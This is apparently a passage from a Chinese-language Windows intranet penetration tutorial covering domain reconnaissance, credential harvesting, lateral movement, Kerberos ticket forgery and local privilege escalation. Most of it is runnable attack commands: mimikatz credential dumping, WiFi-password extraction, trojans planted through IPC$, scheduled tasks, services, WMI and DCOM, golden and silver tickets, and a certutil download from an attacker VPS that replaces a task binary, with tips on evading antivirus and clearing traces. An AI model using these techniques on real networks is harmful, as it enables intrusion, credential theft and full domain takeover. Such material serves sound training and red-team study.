域用户在执行修改账户类型等操作时,需要输入域控制器的密码
本地用户则不受域控制器的控制
net localgroup
获取本地用户组信息
wmic useraccount get /all
查看域用户详细信息
net group “Enterprise Admins” /domain
查询管理员用户组里面的成员
net “Domain users” /domain
查看域用户组里面的成员
query user || qwinsta
可以查看当前在线用户信息
0x05 凭证信息收集
目的:为了收集各种密文,明文,口令等,为后续横向渗透做好测试准备获取所连接过的无线网名称。
系统命令进行收集
Netsh wlan show profiles
获取登录过的WiFi名称,这是在自己本机上试验,由于我们的环境都是虚拟的,所以没有连接过WiFi,无法获取结果。
netsh wlan show profile name="iQOO U3" key=clear
获取iQOO U3中的WiFi密码
通过如下命令获取连接过的wifi密码:
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
mimikatz
https://github.com/gentilkiwi/mimikatz/releases/ 用于破解计算机中的账号密码
XenArmor https://xenarmor.com/ 专用于破解密码,几乎可以破解计算机上所有使用过的密码,非常牛逼,但需要钱,由于不是土豪就不演示了。
cmdkey /list
能够列举出系统中的Windows凭据
vaultcmd(windows系统自带)
列出保管库(vault)列表:
vaultcmd /list
中文操作系统,列出GUID为{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}的保管库(vault)下的所有凭据:
vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
列出GUID为{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}的保管库(vault)的属性,包括文件位置、包含的凭据数量、保护方法:
Vaultcmd /listproperties:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
工具进行信息收集
GDA.bat:https://github.com/nullbind/Other-Projects/tree/master/GDA
PowerSploit: https://github.com/PowerShellMafia/PowerSploit
Nishang: https://github.com/samratashok/nishang
Metasploit:https://github.com/rapid7/metasploit-framework
PowerTools: https://github.com/PowerShellEmpire/PowerTools
0x06 脚本自动化收集信息
下载油猴子脚本 wmic_info.bat 下载地址 http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
得到的输出结果是out.html
域环境下载地址
百度网盘:链接:https://pan.baidu.com/s/1CDHV3jjV9rE6aPETGFotkQ
提取码:6666
四、横向
在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。
0x01 windows远程命令
1、ipc连接
IPC(InternetProcessConnection)是为了让进程之间通信的一种“管道”,通过提供用户名密码建立了一条安全的、加密的、用于数据交换的通道。当然,还是在同一个时间,还是同样的两个IP,他们之间只能建立一个IPC连接,脚踏多条船无论什么时候都是不可取的。通过这个连接,可以实现在被连接的目标机器上搞文件上传、下载、命令执行等等。
关于IPC$+计划任务的横向,我们的目的非常明确:
(1)首先建立向目标主机的IPC$
连接
(2)其次把命令执行的脚本传到目标主机
(3)再次创建计划任务在目标机器上执行命令脚本
(4)最后过河拆桥删除IPC$
连接
当然想要用IPC$来横向是有条件的:
(1)目标机器没有禁用IPC连接,没有什么防火防盗拦截IPC,139 445 端口也开了(能走445走445,不能则走139)
(2)目标机器小管理员开了IPC$
默认共享服务(逻辑盘、系统目录;都不开我访问个啥?)
(3)获取了目标机器的小管理员的管理员权限的账号密码(最好是域管理员账号密码),明文的
(4)目标系统能支持IPC$
,且和攻击机能彼此互通(废话)
本地命令可以copy,用CS beacon的可以upload,总之把自己写的或者是工具生成的木马搞到目标机器上
接下来创建windows计划任务,自动执行木马反弹连接到攻击机器
值得注意的是,如何自动执行木马,在windows中常用的就是计划任务at和schtasks,计划任务在后文中会提到
net use \\<IP>\ipc$ password /user:usernamenet use //查看当前主机所建立的连接
这里提一个点,在多次渗透内网的过程中碰到了一个问题,那么就是这个命令输入的时候到底需不需要加上引号,我的建议是最好加上引号,另外就是如果是在Cobalt Strike里面执行ipc命令进行连接的时候,密码中如果有一些特殊的字符,需要进行转义,否则可能会导致ipc连接不成功。
这样我们就已经跟DC建立了IPC连接,这里尝试使用一个dir命令列出DC目录进行查看
dir \\192.168.52.138\c$
ipc连接还有一个常用的命令就是进行本地映射,如果在命令行里面查看目录觉得很麻烦的话可以使用如下命令将已经建立IPC连接的主机的任意盘符映射到自己的本地。例如这里我将DC的c盘映射到我本地的z盘。
net use z: \\ip\c$ password /user:Administrator //把目标C盘映射到本地z盘(未建立ipc连接的情况下) net use z: \\ip\c$ //把目标C盘映射到本地z盘(已建立ipc连接的情况下)
当然在最后我们渗透完成后需要清理痕迹,这里就会用到一条删除ipc连接的命令
net use \\ip\ipc$
2、at命令
at 命令是Windows自带的用于创建计划任务的命令,但是at 命令只在2003及以下的版本使用。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。
at计划命令在实战中主要有两个用处:一是在获取webshell后不能够执行系统命令的情况下可以用at命令将命令执行后写入txt再用type读取,二是利用at计划任务命令上线cs或者msf
使用at命令调用cmd.exe执行命令写入result.txt
at \\192.168.52.141 16:40:00 cmd.exe /c "命令 > c:\result.txt"
用type命令进行读取
type \\192.168.52.141\c$\result.txt
这里在演示第二个at命令的用处,利用at计划任务上线cs或msf,这里我使用的是cs生成的exe
1.首先与主机建立ipc连接
2.确定主机时间
net time \\ip
3.使用cs生成木马利用copy命令拷贝到主机上
copy <木马在本机位置> \\<靶机ip>\c$
注意在实战过程中exe需要作免杀处理,否则如果对面主机有杀软还没有落地就已经被查杀了
4.使用at命令创建计划任务
at \\<靶机ip> <启动时间> <木马在靶机的位置>
注意这里理论上cs就已经上线了,但是因为这里我是在本地启动cs生成的一个exe,2003这台机器处于域环境里面且不出网,所以不能够跟我物理机进行通信,所以这里就没有截图上线成功的图。
5.删除计划任务
这里的1为创建计划任务时候的ID
at \\192.168.52.141 1 /delete
3、schtasks命令
在2008及以后的系统中已经将at命令废弃,改用schtasks命令代替了at命令,原因是因为schtasks命令比at命令使用起来更加灵活。
这里使用schtasks命令计划任务上线的思想跟at命令大同小异
1.与主机建立ipc连接
2.使用copy命令将exe复制到靶机里
copy C:\Users\liukaifeng01\Desktop\artifact.exe \\192.168.52.141\c$
3.查看靶机时间
net time \\192.168.52.141
4.使用schtasks创建名为cs的计划任务
schtasks /create /TN cs /TR C:\artifact.exe /SC once /ST 17:32
可以用如下schtasks命令查看创建的计划任务
schtasks /query /TN cs
5.删除计划任务
schtasks /delete /tn "cs"
在使用schtasks
命令时,会在系统中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt
如果执行schtasks
命令后没有回显,可配合ipc$
执行文件,使用type
命令远程查看执行结果
0x02 windows服务
利用windows服务进行横向渗透主要是通过sc命令,但是注意这里跟之前windows远程命令相比多了一个条件,即当前主机需要为administrator权限。
1、sc命令
sc命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
利用sc命令进行横向渗透的大体流程如下:
1.与靶机建立ipc连接
2.拷贝exe到主机系统上
3.在靶机上创建一个shell的服务
sc \\WIN-M836NN6NU8B create shell binpath= "c:\artifact.exe"
这里需要用cmd shell
运行,否则会报错
4.启动shell服务
sc \\WIN-M836NN6NU8B start shell
5.删除创建的shell服务
sc \\[host] delete [servicename]
0x03 psexec
1、psexec工具
psexec
是 windows 下非常好的一款远程命令行工具。psexec
的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec
也是不能使用的,会提示找不到网络路径。由于psexec
是Windows提供的工具,所以杀毒软件将其列在白名单中。
工具链接:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec
的基本原理:
•通过ipc连接admin,释放二进制文件psexecsvc.exe到目标•1.通过服务管理SCManager远程创建一个psexec服务,并启动服务•1.客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据•1.运行结束后删除服务
psexec
的使用前提:
•对方主机开启了 admin共享,如果关闭了admin共享,会提示:找不到网络名•对方未开启防火墙•如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。•如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
使用如下命令:
•-accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框•-u:用户名•-p:密码•-s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell
PsExec64.exe -accepteula \\192.168.10.3 -u WIN-U8TRGT93CTR\administrator -p <password> -s cmd.exe
这里也可以先建立ipc连接后直接调用PsExec64.exe
调用cmd
net use \\192.168.10.3\ipc$ <password> /user:administrator
PsExec64.exe -accepteula \\192.168.10.3 cmd.exe
也可以直接执行命令(在建立ipc连接的基础上)
PsExec64.exe -accepteula \\192.168.10.3 ipconfig
2、msf中的psexec
使用search psexec
寻找psexec
模块如下图所示
这里最常用的有以下模块
exploit/windows/smb/psexecexploit/windows/smb/ms17_10_psexec
这里说一下msf里面的这个psexec
这个模块跟powershell
原生模块的区别。我们知道powershell
是在2008及以上的系统才有,在2008及以上的系统使用原生powershell
免杀效果是要比msf里psexec
生成的payload
要好的。但是在2003及以下的版本是不自带powershell
的,那么在这种情况下我们就只能使用msf的psexec
生成的exe进行横向移动
这里唯一一点注意的就是msf的payload
,需要用到反弹payload
,即reverse_tcp
运行可以看到为system权限
psexec服务将会安装在远程系统中,此时将会生成 Event 4697、7045 这2种事件日志;有可能预生成Event 4624和Event 4652 Windows事件日志,日志会记录下该工具的使用数据。
0x04 wmi
WMI
,是Windows 2K/XP管理系统的核心;对于其他的Win32
操作系统,WMI
是一个有用的插件。WMI
以CIMOM
为基础,CIMOM
即公共信息模型对象管理器(Common Information Model Object Manager),是一个描述操作系统构成单元的对象数据库,为MMC
和脚本程序提供了一个访问操作系统构成单元的公共接口。有了WMI
,工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API;相反,操作系统的不同部分都可以插入WMI
由于刚刚提到的PsExec
在内网中大杀四方后,很多安全厂商开始将PsExec
加入了黑名单,所以攻击者暴露的可能性陡然增加。但是根据研究情况来看,Windows操作系统默认不会将WMI
的操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性。由此,越来越多的APT开始使用WMI
进行攻击,利用WMI
可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
使用 wmic
远程执行命令,在远程系统中启动 Windows Mannagement Instrumentation
服务(目标服务器需要开放 135 端口,wmic 会以管理员权限在远程系统中执行命令)
1、查询进程信息
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process list brief
2、远程创建进程
wmic
也可以用来调用cmd
执行系统命令,跟at
命令类似,wmic
调用cmd的时候也是没有回显的,所以我们还是写入txt用type命令进行查看
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process call create "cmd.exe /c ipconfig > C:\result.txt"
使用type命令读取写入txt的结果如图所示
3、wmiexec
wmiexec
是windows自带的wmic
的加强版,在渗透过程中使用wmiexec
会比wmic
和psexec
更加方便,这里就介绍几种常用的wmiexec
工具进行渗透。
impacket中的wmiexec.py
首先在github上下载impacket
安装包:https://github.com/SecureAuthCorp/impacket
使用命令
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shellpython wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令
注意:对于运行时间较长的命令,例如ping
、systeminfo
等,需要添加-wait 5000
或更长时间的参数。
由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。所以wmiexec.vbs
在运行nc反弹shell或者msf木马木马等不需要输出结果但需要一直运行的程序时,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写。出现这种情况后由于结果文件被占用,所以WMIEXEC
不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC
可以恢复工作。为了解决这个问题,加入了“-persist” 选项。
当命令加了“-persist
” 选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。
wmiexec.vbs
wmiexec.vbs
可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.10.3 administrator <password>
输入如下命令,使用 wmiexec.vbs
在远程主机上执行单条命令
cscript.exe //nologo wmiexec.vbs /cmd 192.168.10.3 administrator <password> "命令"
Invoke-WMIMethod
利用 PowerShell
自带的 Invoke-WMIMethod
,可以在远程系统主机上执行命令和指定程序
这时候靶机进程就会出现calc.exe
0x05 Dcom
这里先提两个概念,COM
和DCOM
COM
即组件对象模型(Component Object Model,COM
) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM
是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。一般的对象是由数据成员和作用在其上的方法组成,而组件对象和一般对象虽有相似性,但又有较大不同。组件对象不使用方法而用接口来描述自身。接口被定义为“在对象上实现的一组语义上相关的功能”,其实质是一组函数指针表,每个指针必须初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。
关于这个COM
,其实应该有很多师傅见过,那就是在windows情况下php
为数不多的几种disable_functions
的方法之一,就是利用windows的COM
组件进行绕过,这里我就不往深处拓展了
DCOM
(分布式组件对象模型)是微软基于组件对象模型(COM
)的一系列概念和程序接口,它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。DCOM是COM(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。DCOM 使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管COM服务器端的软件(通常在DLL或exe中)可以通过RPC向客户端公开其方法。
攻击者可使用 DCOM
进行横向移动,通过 DCOM
,攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。
使用DCOM
进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。例如我们滥用ShellBrowserWindow COM
对象,那么就会在远程主机的现有explorer.exe
进程中执行。对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向DCOM
公开方法,因此防御者可能难以全面监测所有程序的执行。
这里利用DCOM
进行横向移动有两个条件:
1.能关闭靶机防火墙2.拥有cmdshell、靶机需要使用administrator账户
DCOM
进行横向移动的操作如下:
1.与靶机建立ipc连接
2.cs生成木马使用copy命令上传到靶机
3.调用DCOM
远程执行命令
1、调用MMC20.Application远程执行命令
通过PowerShell
与DCOM
进行远程交互,此外,我们只需要提供一个DCOM ProgID
和一个IP地址,然后,它就从远程返回一个COM对象
的实例。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c c:\shell.exe","Minimized")
执行以上命令我们就可以调用ExecuteShellCommand
方法在远程主机上启动进程
2、调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
通过调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
来执行exe文件
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")$obj = [System.Activator]::CreateInstance($com)$item = $obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c c:\shell.exe","c:\windows\system32",$null,0)
3、调用Excel.Application远程执行命令
# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))$com.DisplayAlerts = $false
# 然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程$com.DDEInitiate("cmd.exe","/c C:\shell.exe")
0x06 PTH(pass the hash)
pass-the-hash
在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash
和NTLM Hash
访问远程主机或服务,而不用提供明文密码。
pass the hash
原理:
•在Windows系统中,通常会使用NTLM身份认证•NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)•hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash•如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
这类攻击适用于:
•域/工作组环境•可以获得hash,但是条件不允许对hash爆破•内网中存在和当前机器相同的密码
微软也对pth
打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash
已经无法成功,唯独默认的Administrator(SID 500)
账号例外,利用这个账号仍可以进行Pass The Hash
远程ipc连接。
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。
从windows到windows横向pth这一类攻击方法比较广泛。
首先使用mimikatz
抓取域管hash,注意mimikatz
在抓取到hash之后是不能够直接复制的,所以我们这里选择用log参数将抓取到的hash输出为txt
mimikatz log privilege::debug sekurlsa::logonpasswords
使用mimikatz
hash传递
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8
0x07 PTT(pass the ticket)
PTH
部分基于NTLM
认证进行攻击,而PTT
基于kerberos
协议进行攻击
PTT
中最常见的三种攻击方式为:MS14-068、黄金票据、白银票据
1、MS14-068
MS14-068
是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll
域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。
MS14-068
对应的补丁为KB3011780
,接下来说一下MS14-068
的利用过程
利用mimikatz ptt
1.获取普通域成员的SID
2.生成TGT票据
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码MS14-068.exe -u mars2@Drunkmars.com -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5 -p <password>
在同目录下生成了.ccache
文件
3.票据注入
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
通过mimikatz进行票据注入
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造mimikatz # kerberos::list //查看当前机器凭证mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
4.klist查看缓存票据
5.建立ipc连接
可以看到我们这里已经提升到dc权限,这里需要注意一个问题,如果要使用psexec或者wmi进行远程执行命令的操作,这里的ip就要换成主机名字,否则无法登录成功
利用kekeo ptt
这里使用到不用管理员权限进行ptt,使用到kekeo
1.生成票据
kekeo "tgt::ask /user:mars2 /domain:Drunkmars.com /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8
2.导入票据
kerberos::ptt TGT_mars2@DRUNKMARS.COM_krbtgt~Drunkmars.com@DRUNKMARS.COM.kirbi
2、Golden ticket
Golden ticket
的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
那么如果获取到了krbtgt
的密码hash值,就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门
伪造黄金凭据需要具备下面条件:
•krbtgt用户的hash(就意味着你已经有域控制器权限了)•域名称•域的SID值•要伪造的用户名
先登录域控制器,dump krbtgt用户的hash值,获取域sid
privilege::debuglsadump::lsa /patch
登录普通域用户生成TGT凭证
kerberos::golden /user:administrator /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-1107 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /ticket:gold.kirbi
注入黄金票据并访问域控
kerberos::ptt gold.kirbi
如果开启rpc服务
则可以用winexec.vbs
直接连接,这里我的域控没有开启rpc服务
,所以这里连接没有成功
3、Sliver ticket
Sliver ticket
和golden ticket
不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。
不像是Golden ticket
,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。
白银票据这里只是对单一的服务进行授权,利用过程和golden ticket
差不多,首先上域控制器中,把机器的ntlm hash(rc4加密) dump下来,然后在普通域用户机器进行伪造权限,进行ptt。
登录DC,抓取ntlm hash
mimikatz log privilege::debug sekurlsa::logonpasswords
在普通域用户中生成票据
kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
查看票证访问域控
0x08 PTK(pass the key)
在连接配置的时候允许使用hash进行认证,而不是只有账号密码才能认证。
就是由于在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。因此在只有用户hash,没有明文密码的情况下也是可以进行认证的。不管是rubeus还是impacket里面的相关脚本都是支持直接使用hash进行认证。其中,如果hash的ntlm hash,然后加密方式是rc4,这种就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key。在很多地方,不支持rc4加密方式的时候,使用pass the key不失为一种好方法。
获取aes key
mimikatz log privilege::debug sekurlsa::ekeys
注入aes key
mimikatz "privilege::debug" "sekurlsa::pth /user:mars2 /domain:Drunkmars.com /aes256:a207497d6c9df363b6658271ac0df1862c395d6b32003a5207dde3803f7dae0d"
五、提权
0x01 Windows
常见提权:
- 系统内核溢出漏洞提权
- 数据库提权
- 错误的系统配置提权
- 组策略首选项提权
- 窃取令牌提权
- bypassuac提权
- 第三方软件/服务提权
- WEB中间件漏洞提权等
1、系统内核溢出漏洞提权
简介:此提权方法是利用系统本身存在的一些系统内核溢出漏洞,但未曾打相应的补丁,攻击者通过对比systeminfo信息中的补丁信息来查找缺失的补丁号,通过缺失补丁号对照相应的系统版本查找对应可以提权提升的exp
注意,只要对应的补丁号加上对应的系统的版本的提权exp才可以成功,有时候如果查找到提权exp提权不成功,那么就可以查看是不是系统版本没对应上,且不排除一些提权漏洞利用需要相应的环境。
查找补丁的手法:
#手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
#MSF后渗透扫描
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
#windows exploit suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
#powershell中的sherlock脚本
Import-Module C:\Sherlock.ps1 #下载ps1脚本,导入模块
Find-AllVulns
#Empire内置模块 Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法
usemodule privesc/powerup/allchecks
execute
查找到缺失的补丁后,对照相应的系统版本,查找对应的exp
https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/
...........
2、系统配置错误提权
a. 错误权限配置
简介:windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。理论上,低权限用户是没有对高权限服务调用的可执行文件写权限,但是,如果因管理员错误的配置,导致一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么低权限用户就可以将该文件替换成任意可执行文件,这样就可以劫持系统服务,获得该系统服务的权限,而windows服务是以system权限运行的,所以低权限用户就能获得系统权限。(利用条件比较苛刻)
系统服务权限配置错误利用有如下两种方式:服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权(需要administrtor权限)
查找错误配置的手法:
#powerup提供了一些本地提权的方法,可以通过很多实用的脚本来寻找目标机器的windows服务漏洞
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
可直接通过powershell远程加载
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
#msf 对应的模块为exploit/windows/local/service_permissions 但前提是获得一个会话
run exploit/windows/local/service_permissions #自动化提权,回来的的权限就是system
#当工具无法使用时,也可以手工查找,使用Windows内建工具icacls查看服务启动路径中写权限
例如:icacls “C:\Program Files”
icacls “C:\Program Files\Common Files”
#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula
参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。
#检查服务 如果是.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc 服务名 #查看可以完全控制的服务的属性。
利用方式:
#把服务启动的行为(exe或者脚本,com组件..)替换成我们的MSF反弹木马,当服务重启时,就会给我们返回一个system权限的meterpreter
set AutoRunScript migrate -f#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
为什么要自动迁移?
这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信,如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程,我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程。
#run exploit/windows/local/service_permissions
run exploit/windows/local/service_permissions
#找到我们具有完全控制权限的服务,修改服务配置执行命令
sc config 服务名 binpath = "木马程序.exe" #INARY_PATH_NAME参数指向了该服务的可执行程序
sc stop 服务名
sc start 服务名
这里可以用木马程序可以用exe,任意脚本,dll文件等等,具体情况具体分析
这里我把计划任务目录可写也放在这里,因为计划任务也算系统服务功能。
简介:windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的时间执行程序或脚本(在大多数情况下,计划任务是以NT Authority\System
高权限执行的),如果地权限用户对计划任务所在目录有读写权限,完全可以替换计划任务所执行的脚本或程序,获得高权限(但需要错误配置,让此目录下其他用户可写)。
官方说明文档:https://msdn.microsoft.com/en-us/library/windows/desktop/aa446802(v=vs.85).aspx
查找错误配置的手法:
#schtask 查询
schtasks /query /fo LIST 2>nul
#powershell
Get-ScheduledTask
利用手法:
#进行筛选 删除包含/Microsoft/Windows/路径的所有任务
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
#分析计划任务 查找行为,比如exe,脚本什么的
$task= Get-ScheduledTask -TaskName 计划任务名
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}
#查找计划任务行为所在目录,低权限用户是否具有可写权限 accesschk.exe 当然也可以用icacls命令
accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\1111.exe
#直接替换
certutil -urlcache -split -f "http://你的vps/1111.exe" C:\ScheduledTasks\Task1\1111.exe
#等待计划任务执行
b. 可信任服务路径漏洞
简介:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
原理:对于C:\Program Files\Some Folder\Service.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,比如这里我把木马名字改了Program.exe,放在c盘小,一旦此服务重启,因为优先级的缘故,服务会优先选择我们木马Program.exe,而不是C:\Program Files\Some Folder\Service.exe,那么我们的恶意程序就会以system权限运行(大多数情况下)。
查找错误配置的手法:
#wmi查找含有漏洞的服务命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
#PowerUp脚本
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
##查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula
漏洞利用手法:
#msf攻击模块
exploit/windows/local/trusted_service_path
set AutoRunScript migrate -f
#手动攻击
我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下
然后重启服务
sc stop service_name
sc start service_name
c. 不安全的注册表权限配置
简介:在Windows中,和Windows服务有关的信息存储在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
注册表项中,服务对应的程序路径存储在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名\ImagePath
,如果低权限用户对这个键值有写权限,那么就可以控制这个服务,运行我们的程序,拿到高权限。
检测服务的注册表路径是否有写权限
#微软的工具
https://www.microsoft.com/en-us/download/search.aspx?q=subinacl
subinacl.exe /key reg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名" /display
利用:
#如果我们对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序
reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f
d. 启用注册表键AlwaysInstallElevated
简介:注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。
查看是否启用:
#PowerUp
